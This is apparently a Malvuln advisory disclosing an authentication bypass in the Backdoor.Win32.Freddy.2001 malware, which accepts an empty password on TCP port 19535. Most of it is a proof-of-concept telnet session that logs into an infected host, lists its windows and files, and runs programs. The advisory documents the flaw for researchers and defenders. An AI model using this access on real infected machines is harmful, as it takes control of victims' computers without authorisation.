Backdoor.Win32.Freddy.2001 Authentication Bypass / Command Execution

Backdoor.Win32.Freddy.2001 malware suffers from authentication bypass and remote command execution vulnerabilities.

MD5 | 54284610e15226f65a002ea1d5c32d82

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User: Victim
Computer net name: DESKTOP-2C3JQHO
IP address:
Local date & time: 2/3/2022 2:45:46 AM
Hackers connected: 2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon> windows
Window 6976: dump
Window 6976: tmp
Window 1956: Administrator: Administrator Command Prompt
Window 6976: Program Manager
Sycon> cd \
CD: C:\
Sycon> dir
Found: $Recycle.Bin
Found: Boot
Found: bootmgr
Sycon> exec calc
Sycon> logoff
Windows is going down...
I'm killed!

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